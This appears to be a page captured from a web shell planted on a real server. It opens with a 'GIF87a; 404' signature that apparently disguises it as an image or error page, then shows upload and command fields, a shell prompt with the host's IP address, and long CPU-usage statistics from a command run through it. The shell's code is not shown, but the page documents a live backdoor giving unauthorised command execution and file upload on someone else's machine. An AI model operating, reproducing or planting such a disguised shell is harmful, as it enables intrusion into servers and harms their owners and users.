GIF87a; 404

MY HEART




Upload:

Command:

diavoloapp@18.191.141.17: ~ $
Linux 3.10.0-1160.119.1.el7.tuxcare.els17.x86_64 (vps-218883.highproo.com.mx) 	2025-04-16 	_x86_64_	(8 CPU)

12:00:01 AM     CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
12:10:01 AM     all     16.06      0.02      2.44      0.47      0.01      0.00      0.78      0.00      0.00     80.21
12:10:01 AM       0     11.98      0.00      1.86      0.60      0.01      0.00      0.46      0.00      0.00     85.10
12:10:01 AM       1     21.72      0.02      3.23      0.38      0.01      0.00      0.73      0.00      0.00     73.90
12:10:01 AM       2     19.15      0.00      2.96      0.42      0.01      0.00      0.70      0.00      0.00     76.75
12:10:01 AM       3     18.60      0.08      2.89      0.41      0.01      0.00      0.59      0.00      0.00     77.42
12:10:01 AM       4     15.62      0.03      2.34      0.63      0.01      0.00      0.55      0.00      0.00     80.82
12:10:01 AM       5     12.95      0.01      1.92      0.41      0.03      0.00      2.32      0.00      0.00     82.36
12:10:01 AM       6     14.74      0.00      2.19      0.35      0.01      0.00      0.44      0.00      0.00     82.27
12:10:01 AM       7     13.75      0.01      2.12      0.59      0.01      0.00      0.43      0.00      0.00     83.10
12:20:01 AM     all     16.66      0.01      2.39      0.56      0.01      0.00      0.74      0.00      0.00     79.64
12:20:01 AM       0     12.37      0.00      1.74      0.75      0.01      0.00      0.41      0.00      0.00     84.71
12:20:01 AM       1     21.83      0.00      3.00      0.61      0.01      0.00      0.72      0.00      0.00     73.83
12:20:01 AM       2     19.73      0.01      2.82      0.55      0.01      0.00      0.60      0.00      0.00     76.29
12:20:01 AM       3     18.68      0.04      2.62      0.45      0.01      0.00      0.62      0.00      0.00     77.58
12:20:01 AM       4     17.49      0.01      2.76      0.61      0.01      0.00      0.51      0.00      0.00     78.62
12:20:01 AM       5     12.98      0.00      1.79      0.67      0.03      0.00      2.17      0.00      0.00     82.38
12:20:01 AM       6     15.50      0.00      2.26      0.55      0.01      0.00      0.48      0.00      0.00     81.21
12:20:01 AM       7     14.66      0.00      2.10      0.30      0.01      0.00      0.43      0.00      0.00     82.51
12:30:01 AM     all     16.91      0.01      2.40      0.57      0.01      0.00      0.75      0.00      0.00     79.35
12:30:01 AM       0     13.59      0.00      1.90      0.39      0.01      0.00      0.40      0.00      0.00     83.72
12:30:01 AM       1     21.74      0.00      2.95      0.56      0.01      0.00      0.69      0.00      0.00     74.05
12:30:01 AM       2     18.00      0.00      2.45      0.52      0.01      0.00      0.57      0.00      0.00     78.44
12:30:01 AM       3     20.31      0.03      2.87      0.63      0.01      0.00      0.60      0.00      0.00     75.55
12:30:01 AM       4     18.37      0.00      2.74      0.53      0.01      0.00      0.55      0.00      0.00     77.80
12:30:01 AM       5     13.30      0.02      1.86      0.64      0.03      0.00      2.30      0.00      0.00     81.85
12:30:01 AM       6     15.75      0.04      2.31      0.59      0.01      0.00      0.48      0.00      0.00     80.82
12:30:01 AM       7     14.25      0.00      2.11      0.66      0.01      0.00      0.38      0.00      0.00     82.60
12:40:01 AM     all     19.87      0.01      2.59      0.48      0.01      0.00      0.78      0.00      0.00     76.26
12:40:01 AM       0     16.25      0.00      2.13      0.50      0.01      0.00      0.49      0.00      0.00     80.61
12:40:01 AM       1     24.84      0.01      3.24      0.37      0.01      0.00      0.74      0.00      0.00     70.78
12:40:01 AM       2     22.35      0.00      2.80      0.26      0.01      0.00      0.67      0.00      0.00     73.90
12:40:01 AM       3     23.67      0.01      3.02      0.30      0.01      0.00      0.64      0.00      0.00     72.36
12:40:01 AM       4     19.41      0.00      2.58      0.58      0.01      0.00      0.53      0.00      0.00     76.89
12:40:01 AM       5     16.31      0.04      2.08      0.91      0.03      0.00      2.30      0.00      0.00     78.34
12:40:01 AM       6     17.96      0.00      2.47      0.43      0.01      0.00      0.39      0.00      0.00     78.75
12:40:01 AM       7     18.18      0.00      2.40      0.45      0.01      0.00      0.49      0.00      0.00     78.47
12:50:01 AM     all     15.93      0.01      2.27      0.49      0.01      0.00      0.71      0.00      0.00     80.58
12:50:01 AM       0     12.55      0.00      1.78      0.44      0.01      0.00      0.38      0.00      0.00     84.84
12:50:01 AM       1     20.51      0.07      2.95      0.31      0.01      0.00      0.66      0.00      0.00     75.48
12:50:01 AM       2     17.77      0.00      2.56      0.52      0.01      0.00      0.57      0.00      0.00     78.56
12:50:01 AM       3     19.04      0.00      2.60      0.33      0.01      0.00      0.54      0.00      0.00     77.47
12:50:01 AM       4     15.57      0.00      2.29      0.50      0.01      0.00      0.48      0.00      0.00     81.15
12:50:01 AM       5     12.30      0.01      1.78      0.59      0.03      0.00      2.25      0.00      0.00     83.04
12:50:01 AM       6     15.29      0.01      2.15      0.59      0.01      0.00      0.43      0.00      0.00     81.53
12:50:01 AM       7     14.42      0.00      2.05      0.62      0.01      0.00      0.36      0.00      0.00     82.55
01:00:01 AM     all     16.77      0.02      2.52      0.68      0.01      0.00      0.69      0.00      0.00     79.31
01:00:01 AM       0     12.96      0.00      2.09      0.71      0.01      0.00      0.39      0.00      0.00     83.85
01:00:01 AM       1     22.06      0.00      3.26      0.50      0.01      0.00      0.66      0.00      0.00     73.51
01:00:01 AM       2     19.29      0.01      2.75      0.57      0.01      0.00      0.62      0.00      0.00     76.76
01:00:01 AM       3     20.18      0.05      3.01      0.60      0.01      0.00      0.59      0.00      0.00     75.55
01:00:01 AM       4     18.53      0.02      2.77      0.60      0.02      0.00      0.50      0.00      0.00     77.56
01:00:01 AM       5      9.40      0.05      1.49      1.05      0.03      0.00      2.06      0.00      0.00     85.92
01:00:01 AM       6     16.94      0.01      2.61      0.43      0.01      0.00      0.40      0.00      0.00     79.61
01:00:01 AM       7     14.73      0.02      2.16      1.01      0.01      0.00      0.35      0.00      0.00     81.73
01:10:01 AM     all     17.98      0.03      2.45      0.72      0.01      0.00      0.80      0.00      0.00     78.02
01:10:01 AM       0     14.22      0.04      1.91      0.86      0.01      0.00      0.50      0.00      0.00     82.47
01:10:01 AM       1     23.05      0.03      2.97      0.60      0.01      0.00      0.72      0.00      0.00     72.62
01:10:01 AM       2     21.29      0.05      2.82      0.70      0.01      0.00      0.67      0.00      0.00     74.45
01:10:01 AM       3     20.71      0.05      3.06      0.28      0.01      0.00      0.63      0.00      0.00     75.25
01:10:01 AM       4     18.26      0.02      2.38      0.72      0.01      0.00      0.50      0.00      0.00     78.12
01:10:01 AM       5     13.92      0.00      1.83      1.08      0.03      0.00      2.41      0.00      0.00     80.73
01:10:01 AM       6     17.40      0.07      2.40      0.78      0.01      0.00      0.49      0.00      0.00     78.85
01:10:01 AM       7     14.93      0.01      2.18      0.73      0.02      0.00      0.48      0.00      0.00     81.66
01:20:01 AM     all     19.83      0.01      2.52      0.55      0.01      0.00      0.77      0.00      0.00     76.31
01:20:01 AM       0     17.09      0.08      2.10      0.60      0.01      0.00      0.46      0.00      0.00     79.68
01:20:01 AM       1     22.92      0.00      2.93      0.60      0.01      0.00      0.65      0.00      0.00     72.89
01:20:01 AM       2     21.09      0.01      2.72      0.70      0.01      0.00      0.56      0.00      0.00     74.91
01:20:01 AM       3     25.29      0.00      3.23      0.41      0.01      0.00      0.61      0.00      0.00     70.44
01:20:01 AM       4     21.16      0.00      2.59      0.36      0.01      0.00      0.55      0.00      0.00     75.32
01:20:01 AM       5     14.25      0.00      1.86      1.01      0.03      0.00      2.38      0.00      0.00     80.47
01:20:01 AM       6     19.73      0.00      2.40      0.25      0.01      0.00      0.42      0.00      0.00     77.18
01:20:01 AM       7     17.07      0.00      2.32      0.46      0.01      0.00      0.52      0.00      0.00     79.62
01:30:01 AM     all     16.41      0.01      2.31      0.70      0.01      0.00      0.82      0.00      0.00     79.75
01:30:01 AM       0     12.24      0.00      1.69      0.77      0.02      0.00      0.48      0.00      0.00     84.80
01:30:01 AM       1     21.78      0.02      3.03      0.59      0.01      0.00      0.82      0.00      0.00     73.76
01:30:01 AM       2     19.00      0.00      2.65      0.39      0.01      0.00      0.72      0.00      0.00     77.23
01:30:01 AM       3     18.65      0.01      2.57      0.71      0.01      0.00      0.63      0.00      0.00     77.44
01:30:01 AM       4     17.70      0.02      2.60      1.01      0.01      0.00      0.59      0.00      0.00     78.07
01:30:01 AM       5     13.10      0.01      1.70      1.00      0.03      0.00      2.41      0.00      0.00     81.76
01:30:01 AM       6     15.38      0.01      2.28      0.50      0.01      0.00      0.52      0.00      0.00     81.30
01:30:01 AM       7     13.38      0.00      1.96      0.60      0.01      0.00      0.44      0.00      0.00     83.61
01:40:01 AM     all     15.63      0.01      2.18      0.69      0.01      0.00      0.72      0.00      0.00     80.76
01:40:01 AM       0     11.96      0.00      1.71      0.29      0.01      0.00      0.42      0.00      0.00     85.62
01:40:01 AM       1     19.21      0.00      2.87      0.65      0.01      0.00      0.64      0.00      0.00     76.62
01:40:01 AM       2     17.91      0.03      2.48      0.49      0.01      0.00      0.60      0.00      0.00     78.48
01:40:01 AM       3     17.88      0.02      2.45      0.58      0.01      0.00      0.55      0.00      0.00     78.51
01:40:01 AM       4     18.64      0.00      2.45      0.80      0.01      0.00      0.51      0.00      0.00     77.59
01:40:01 AM       5     11.67      0.01      1.45      1.19      0.02      0.00      2.18      0.00      0.00     83.48
01:40:01 AM       6     13.87      0.02      1.99      0.73      0.01      0.00      0.42      0.00      0.00     82.96
01:40:01 AM       7     13.85      0.01      2.04      0.82      0.01      0.00      0.45      0.00      0.00     82.82
01:50:01 AM     all     15.81      0.02      2.26      0.67      0.01      0.00      0.74      0.00      0.00     80.49
01:50:01 AM       0     11.56      0.02      1.71      0.60      0.01      0.00      0.39      0.00      0.00     85.71
01:50:01 AM       1     22.61      0.02      2.95      0.64      0.01      0.00      0.80      0.00      0.00     72.97
01:50:01 AM       2     20.49      0.06      2.93      0.65      0.01      0.00      0.68      0.00      0.00     75.18
01:50:01 AM       3     16.07      0.00      2.33      0.61      0.02      0.00      0.54      0.00      0.00     80.43
01:50:01 AM       4     16.70      0.02      2.39      0.41      0.01      0.00      0.53      0.00      0.00     79.93
01:50:01 AM       5     12.19      0.01      1.64      1.02      0.04      0.00      2.11      0.00      0.00     83.00
01:50:01 AM       6     13.92      0.02      2.12      0.60      0.01      0.00      0.45      0.00      0.00     82.88
01:50:01 AM       7     12.93      0.01      2.01      0.80      0.01      0.00      0.39      0.00      0.00     83.86

01:50:01 AM     CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
02:00:02 AM     all     14.83      0.01      2.08      0.60      0.01      0.00      0.74      0.00      0.00     81.74
02:00:02 AM       0     10.64      0.00      1.52      0.65      0.01      0.00      0.38      0.00      0.00     86.81
02:00:02 AM       1     20.47      0.00      2.57      0.57      0.01      0.00      0.71      0.00      0.00     75.67
02:00:02 AM       2     18.66      0.00      2.53      0.35      0.01      0.00      0.69      0.00      0.00     77.77
02:00:02 AM       3     19.09      0.05      2.70      0.52      0.01      0.00      0.68      0.00      0.00     76.96
02:00:02 AM       4     15.51      0.01      2.27      0.33      0.01      0.00      0.60      0.00      0.00     81.27
02:00:02 AM       5      9.45      0.00      1.28      1.16      0.03      0.00      2.04      0.00      0.00     86.02
02:00:02 AM       6     12.83      0.00      1.95      0.51      0.01      0.00      0.45      0.00      0.00     84.24
02:00:02 AM       7     11.92      0.00      1.78      0.74      0.01      0.00      0.39      0.00      0.00     85.16
02:10:01 AM     all     15.87      0.01      2.20      0.68      0.01      0.00      0.77      0.00      0.00     80.45
02:10:01 AM       0     12.37      0.00      1.69      0.85      0.01      0.00      0.47      0.00      0.00     84.61
02:10:01 AM       1     20.61      0.01      2.80      0.77      0.02      0.00      0.74      0.00      0.00     75.05
02:10:01 AM       2     19.27      0.00      2.62      0.57      0.01      0.00      0.68      0.00      0.00     76.85
02:10:01 AM       3     19.21      0.08      2.69      0.58      0.01      0.00      0.65      0.00      0.00     76.79
02:10:01 AM       4     13.56      0.01      2.08      0.37      0.01      0.00      0.49      0.00      0.00     83.49
02:10:01 AM       5     12.30      0.00      1.64      0.97      0.03      0.00      2.27      0.00      0.00     82.79
02:10:01 AM       6     16.25      0.00      2.21      0.38      0.01      0.00      0.51      0.00      0.00     80.64
02:10:01 AM       7     13.40      0.00      1.87      0.94      0.01      0.00      0.40      0.00      0.00     83.39
02:20:01 AM     all     21.81      0.01      2.82      0.49      0.01      0.00      0.78      0.00      0.00     74.07
02:20:01 AM       0     17.13      0.01      2.21      0.39      0.01      0.00      0.48      0.00      0.00     79.78
02:20:01 AM       1     25.13      0.00      3.27      0.31      0.01      0.00      0.72      0.00      0.00     70.57
02:20:01 AM       2     23.50      0.00      3.12      0.34      0.01      0.00      0.61      0.00      0.00     72.41
02:20:01 AM       3     26.98      0.00      3.36      0.38      0.01      0.00      0.63      0.00      0.00     68.64
02:20:01 AM       4     24.65      0.00      3.09      0.32      0.01      0.00      0.58      0.00      0.00     71.35
02:20:01 AM       5     15.29      0.04      2.14      0.89      0.03      0.00      2.33      0.00      0.00     79.29
02:20:01 AM       6     22.49      0.00      2.99      0.60      0.01      0.00      0.47      0.00      0.00     73.44
02:20:01 AM       7     19.33      0.00      2.38      0.73      0.01      0.00      0.42      0.00      0.00     77.14
02:30:01 AM     all     17.75      0.01      2.41      0.64      0.01      0.00      0.71      0.00      0.00     78.47
02:30:01 AM       0     14.39      0.02      1.96      0.57      0.01      0.00      0.42      0.00      0.00     82.63
02:30:01 AM       1     23.11      0.03      2.83      0.52      0.01      0.00      0.64      0.00      0.00     72.87
02:30:01 AM       2     18.81      0.00      2.62      0.55      0.01      0.00      0.52      0.00      0.00     77.50
02:30:01 AM       3     20.16      0.00      2.68      0.76      0.01      0.00      0.52      0.00      0.00     75.86
02:30:01 AM       4     19.06      0.00      2.71      0.28      0.01      0.00      0.52      0.00      0.00     77.42
02:30:01 AM       5     12.53      0.00      1.67      0.98      0.03      0.00      2.16      0.00      0.00     82.64
02:30:01 AM       6     18.27      0.00      2.67      0.45      0.01      0.00      0.45      0.00      0.00     78.15
02:30:01 AM       7     15.67      0.04      2.12      1.00      0.01      0.00      0.43      0.00      0.00     80.74
02:40:01 AM     all     16.65      0.02      2.34      0.74      0.01      0.00      0.76      0.00      0.00     79.47
02:40:01 AM       0     13.41      0.03      1.87      0.95      0.01      0.00      0.42      0.00      0.00     83.33
02:40:01 AM       1     21.69      0.00      2.91      0.81      0.01      0.00      0.72      0.00      0.00     73.86
02:40:01 AM       2     20.26      0.00      2.89      0.48      0.01      0.00      0.68      0.00      0.00     75.68
02:40:01 AM       3     20.46      0.07      2.78      0.30      0.01      0.00      0.63      0.00      0.00     75.75
02:40:01 AM       4     17.42      0.00      2.48      0.64      0.01      0.00      0.47      0.00      0.00     78.98
02:40:01 AM       5     10.96      0.00      1.51      1.19      0.03      0.00      2.25      0.00      0.00     84.06
02:40:01 AM       6     14.55      0.01      2.12      0.55      0.01      0.00      0.44      0.00      0.00     82.32
02:40:01 AM       7     14.43      0.04      2.18      1.03      0.01      0.00      0.50      0.00      0.00     81.81
02:50:02 AM     all     18.11      0.01      2.53      0.52      0.01      0.00      0.82      0.00      0.00     78.00
02:50:02 AM       0     14.65      0.00      2.14      0.57      0.01      0.00      0.50      0.00      0.00     82.12
02:50:02 AM       1     22.94      0.00      3.07      0.46      0.01      0.00      0.78      0.00      0.00     72.74
02:50:02 AM       2     21.28      0.00      2.85      0.60      0.02      0.00      0.66      0.00      0.00     74.59
02:50:02 AM       3     20.86      0.00      2.90      0.53      0.02      0.00      0.63      0.00      0.00     75.06
02:50:02 AM       4     18.54      0.00      2.48      0.41      0.01      0.00      0.66      0.00      0.00     77.91
02:50:02 AM       5     12.33      0.00      1.79      0.74      0.03      0.00      2.30      0.00      0.00     82.81
02:50:02 AM       6     17.99      0.00      2.68      0.35      0.01      0.00      0.55      0.00      0.00     78.42
02:50:02 AM       7     16.24      0.05      2.36      0.54      0.01      0.00      0.45      0.00      0.00     80.36
03:00:02 AM     all     21.95      0.01      3.28      0.71      0.02      0.00      0.83      0.00      0.00     73.20
03:00:02 AM       0     17.19      0.00      2.59      0.69      0.02      0.00      0.50      0.00      0.00     79.01
03:00:02 AM       1     25.78      0.02      3.63      0.69      0.02      0.00      0.67      0.00      0.00     69.21
03:00:02 AM       2     24.64      0.02      3.61      0.55      0.02      0.00      0.69      0.00      0.00     70.46
03:00:02 AM       3     25.16      0.00      3.88      0.67      0.02      0.00      0.60      0.00      0.00     69.67
03:00:02 AM       4     22.49      0.03      3.29      0.45      0.01      0.00      0.59      0.00      0.00     73.14
03:00:02 AM       5     17.16      0.00      2.59      0.80      0.04      0.00      2.47      0.00      0.00     76.95
03:00:02 AM       6     21.61      0.03      3.17      0.92      0.02      0.00      0.53      0.00      0.00     73.73
03:00:02 AM       7     21.53      0.01      3.49      0.91      0.02      0.00      0.57      0.00      0.00     73.47
03:10:01 AM     all     20.07      0.04      2.76      0.67      0.02      0.00      0.82      0.00      0.00     75.64
03:10:01 AM       0     16.68      0.01      2.34      0.30      0.01      0.00      0.48      0.00      0.00     80.19
03:10:01 AM       1     25.25      0.12      3.22      0.58      0.01      0.00      0.69      0.00      0.00     70.12
03:10:01 AM       2     23.62      0.03      3.21      0.86      0.01      0.00      0.70      0.00      0.00     71.57
03:10:01 AM       3     23.81      0.00      3.18      0.67      0.01      0.00      0.65      0.00      0.00     71.69
03:10:01 AM       4     20.97      0.05      2.92      0.50      0.01      0.00      0.58      0.00      0.00     74.96
03:10:01 AM       5     15.30      0.02      2.16      0.88      0.03      0.00      2.57      0.00      0.00     79.04
03:10:01 AM       6     18.83      0.02      2.64      1.01      0.01      0.00      0.46      0.00      0.00     77.03
03:10:01 AM       7     16.06      0.03      2.44      0.54      0.01      0.00      0.41      0.00      0.00     80.51
03:20:01 AM     all     16.56      0.01      2.33      0.68      0.01      0.00      0.72      0.00      0.00     79.68
03:20:01 AM       0     12.56      0.00      1.70      0.53      0.01      0.00      0.38      0.00      0.00     84.82
03:20:01 AM       1     22.10      0.02      3.03      0.46      0.01      0.00      0.69      0.00      0.00     73.69
03:20:01 AM       2     20.17      0.01      2.79      0.73      0.01      0.00      0.64      0.00      0.00     75.65
03:20:01 AM       3     18.40      0.00      2.52      0.70      0.01      0.00      0.51      0.00      0.00     77.85
03:20:01 AM       4     18.08      0.00      2.61      0.67      0.01      0.00      0.49      0.00      0.00     78.14
03:20:01 AM       5     11.34      0.05      1.58      0.83      0.03      0.00      2.27      0.00      0.00     83.90
03:20:01 AM       6     15.83      0.00      2.38      0.59      0.01      0.00      0.41      0.00      0.00     80.79
03:20:01 AM       7     13.99      0.01      2.04      0.91      0.01      0.00      0.41      0.00      0.00     82.64
03:30:01 AM     all     16.20      0.02      2.41      0.73      0.01      0.00      0.73      0.00      0.00     79.91
03:30:01 AM       0     11.43      0.01      1.84      0.68      0.01      0.00      0.39      0.00      0.00     85.64
03:30:01 AM       1     22.65      0.05      3.33      0.52      0.01      0.00      0.74      0.00      0.00     72.69
03:30:01 AM       2     19.51      0.01      2.76      0.74      0.01      0.00      0.61      0.00      0.00     76.35
03:30:01 AM       3     19.68      0.00      2.75      0.80      0.01      0.00      0.62      0.00      0.00     76.14
03:30:01 AM       4     17.24      0.00      2.45      0.58      0.01      0.00      0.54      0.00      0.00     79.18
03:30:01 AM       5     10.32      0.00      1.67      1.01      0.03      0.00      2.11      0.00      0.00     84.86
03:30:01 AM       6     14.95      0.07      2.31      0.70      0.01      0.00      0.43      0.00      0.00     81.53
03:30:01 AM       7     13.76      0.00      2.18      0.77      0.01      0.00      0.40      0.00      0.00     82.88
03:40:01 AM     all     19.05      0.01      2.70      0.60      0.01      0.00      0.75      0.00      0.00     76.89
03:40:01 AM       0     13.76      0.00      2.15      1.01      0.01      0.00      0.42      0.00      0.00     82.65
03:40:01 AM       1     24.49      0.00      3.39      0.44      0.01      0.00      0.68      0.00      0.00     70.98
03:40:01 AM       2     20.69      0.00      2.90      0.74      0.01      0.00      0.62      0.00      0.00     75.03
03:40:01 AM       3     22.66      0.00      2.93      0.48      0.01      0.00      0.62      0.00      0.00     73.29
03:40:01 AM       4     19.40      0.01      2.82      0.45      0.01      0.00      0.53      0.00      0.00     76.78
03:40:01 AM       5     13.31      0.00      1.95      0.74      0.03      0.00      2.19      0.00      0.00     81.77
03:40:01 AM       6     18.85      0.00      2.76      0.37      0.01      0.00      0.50      0.00      0.00     77.52
03:40:01 AM       7     19.21      0.04      2.68      0.54      0.01      0.00      0.44      0.00      0.00     77.08

03:40:01 AM     CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
03:50:01 AM     all     19.02      0.01      2.90      0.46      0.01      0.00      0.75      0.00      0.00     76.84
03:50:01 AM       0     15.71      0.07      2.42      0.49      0.01      0.00      0.45      0.00      0.00     80.85
03:50:01 AM       1     23.93      0.00      3.49      0.25      0.02      0.00      0.68      0.00      0.00     71.65
03:50:01 AM       2     21.91      0.01      3.22      0.34      0.01      0.00      0.65      0.00      0.00     73.87
03:50:01 AM       3     20.54      0.02      3.08      0.40      0.01      0.00      0.57      0.00      0.00     75.38
03:50:01 AM       4     19.62      0.01      3.00      0.37      0.01      0.00      0.50      0.00      0.00     76.50
03:50:01 AM       5     15.44      0.00      2.34      0.80      0.03      0.00      2.29      0.00      0.00     79.11
03:50:01 AM       6     17.30      0.01      2.92      0.74      0.01      0.00      0.44      0.00      0.00     78.59
03:50:01 AM       7     17.70      0.00      2.77      0.32      0.01      0.00      0.40      0.00      0.00     78.80
04:00:01 AM     all     16.72      0.01      2.51      0.54      0.01      0.00      0.74      0.00      0.00     79.47
04:00:01 AM       0     12.00      0.01      1.93      0.49      0.02      0.00      0.47      0.00      0.00     85.09
04:00:01 AM       1     23.39      0.00      3.34      0.44      0.01      0.00      0.78      0.00      0.00     72.04
04:00:01 AM       2     21.34      0.00      3.07      0.26      0.01      0.00      0.68      0.00      0.00     74.64
04:00:01 AM       3     18.73      0.00      2.89      0.22      0.01      0.00      0.58      0.00      0.00     77.57
04:00:01 AM       4     16.33      0.00      2.46      0.60      0.01      0.00      0.50      0.00      0.00     80.09
04:00:01 AM       5     11.63      0.00      1.76      0.76      0.03      0.00      2.09      0.00      0.00     83.73
04:00:01 AM       6     16.27      0.00      2.45      0.30      0.01      0.00      0.41      0.00      0.00     80.56
04:00:01 AM       7     14.07      0.05      2.15      1.23      0.01      0.00      0.45      0.00      0.00     82.05
04:10:01 AM     all     16.49      0.22      2.66      1.10      0.01      0.00      0.76      0.00      0.00     78.77
04:10:01 AM       0     12.96      0.13      2.06      0.92      0.01      0.00      0.43      0.00      0.00     83.47
04:10:01 AM       1     23.49      0.56      3.74      1.40      0.01      0.00      0.80      0.00      0.00     70.00
04:10:01 AM       2     19.81      0.12      3.13      0.91      0.01      0.00      0.70      0.00      0.00     75.32
04:10:01 AM       3     18.35      0.35      2.96      0.97      0.01      0.00      0.61      0.00      0.00     76.75
04:10:01 AM       4     17.46      0.09      2.80      0.90      0.01      0.00      0.57      0.00      0.00     78.17
04:10:01 AM       5     11.27      0.06      1.76      1.32      0.03      0.00      2.07      0.00      0.00     83.48
04:10:01 AM       6     14.26      0.31      2.49      0.95      0.01      0.00      0.46      0.00      0.00     81.52
04:10:01 AM       7     14.27      0.12      2.35      1.39      0.01      0.00      0.41      0.00      0.00     81.45
04:20:01 AM     all     15.02      0.02      2.28      1.27      0.01      0.00      0.71      0.00      0.00     80.68
04:20:01 AM       0     11.39      0.00      1.76      1.36      0.01      0.00      0.45      0.00      0.00     85.02
04:20:01 AM       1     19.27      0.01      2.93      1.86      0.01      0.00      0.69      0.00      0.00     75.23
04:20:01 AM       2     17.69      0.00      2.67      1.08      0.01      0.00      0.52      0.00      0.00     78.02
04:20:01 AM       3     17.83      0.02      2.68      0.77      0.01      0.00      0.59      0.00      0.00     78.11
04:20:01 AM       4     15.64      0.00      2.28      0.71      0.01      0.00      0.46      0.00      0.00     80.90
04:20:01 AM       5     10.92      0.00      1.56      1.94      0.03      0.00      2.17      0.00      0.00     83.37
04:20:01 AM       6     13.12      0.11      2.19      1.18      0.01      0.00      0.43      0.00      0.00     82.97
04:20:01 AM       7     14.32      0.00      2.14      1.30      0.01      0.00      0.42      0.00      0.00     81.82
04:30:02 AM     all     13.82      0.01      2.12      0.57      0.01      0.00      0.68      0.00      0.00     82.78
04:30:02 AM       0     10.53      0.00      1.74      0.34      0.01      0.00      0.37      0.00      0.00     87.02
04:30:02 AM       1     19.17      0.00      2.88      0.66      0.01      0.00      0.65      0.00      0.00     76.63
04:30:02 AM       2     15.75      0.00      2.33      0.32      0.01      0.00      0.55      0.00      0.00     81.04
04:30:02 AM       3     16.21      0.00      2.65      0.75      0.01      0.00      0.50      0.00      0.00     79.87
04:30:02 AM       4     15.47      0.00      2.26      0.39      0.01      0.00      0.44      0.00      0.00     81.43
04:30:02 AM       5     10.80      0.00      1.47      0.85      0.03      0.00      2.31      0.00      0.00     84.54
04:30:02 AM       6     11.13      0.05      1.78      0.73      0.01      0.00      0.32      0.00      0.00     85.98
04:30:02 AM       7     11.46      0.01      1.88      0.54      0.01      0.00      0.34      0.00      0.00     85.76
04:40:02 AM     all     18.74      0.01      3.00      0.70      0.02      0.00      0.78      0.00      0.00     76.75
04:40:02 AM       0     14.79      0.01      2.39      0.59      0.02      0.00      0.45      0.00      0.00     81.76
04:40:02 AM       1     23.13      0.00      3.64      0.71      0.02      0.00      0.70      0.00      0.00     71.80
04:40:02 AM       2     20.96      0.00      3.37      0.92      0.02      0.00      0.59      0.00      0.00     74.14
04:40:02 AM       3     21.60      0.00      3.47      0.50      0.01      0.00      0.56      0.00      0.00     73.86
04:40:02 AM       4     19.45      0.00      3.14      0.49      0.02      0.00      0.55      0.00      0.00     76.36
04:40:02 AM       5     14.87      0.00      2.42      1.34      0.04      0.00      2.50      0.00      0.00     78.82
04:40:02 AM       6     18.75      0.08      3.02      0.48      0.02      0.00      0.48      0.00      0.00     77.18
04:40:02 AM       7     16.35      0.00      2.59      0.53      0.02      0.00      0.44      0.00      0.00     80.07
04:50:01 AM     all     15.61      0.01      2.31      0.57      0.01      0.00      0.72      0.00      0.00     80.78
04:50:01 AM       0     11.04      0.01      1.71      0.74      0.02      0.00      0.39      0.00      0.00     86.10
04:50:01 AM       1     22.04      0.03      3.08      0.61      0.01      0.00      0.70      0.00      0.00     73.54
04:50:01 AM       2     18.68      0.00      2.76      0.53      0.01      0.00      0.58      0.00      0.00     77.45
04:50:01 AM       3     17.32      0.01      2.59      0.37      0.01      0.00      0.55      0.00      0.00     79.15
04:50:01 AM       4     15.99      0.02      2.48      0.59      0.01      0.00      0.47      0.00      0.00     80.44
04:50:01 AM       5     12.53      0.00      1.75      0.55      0.03      0.00      2.31      0.00      0.00     82.83
04:50:01 AM       6     15.00      0.00      2.19      0.37      0.01      0.00      0.43      0.00      0.00     82.00
04:50:01 AM       7     12.28      0.00      1.88      0.77      0.01      0.00      0.33      0.00      0.00     84.72
05:00:02 AM     all     14.80      0.03      2.33      0.70      0.02      0.00      0.70      0.00      0.00     81.41
05:00:02 AM       0     10.26      0.00      1.86      0.56      0.01      0.00      0.33      0.00      0.00     86.98
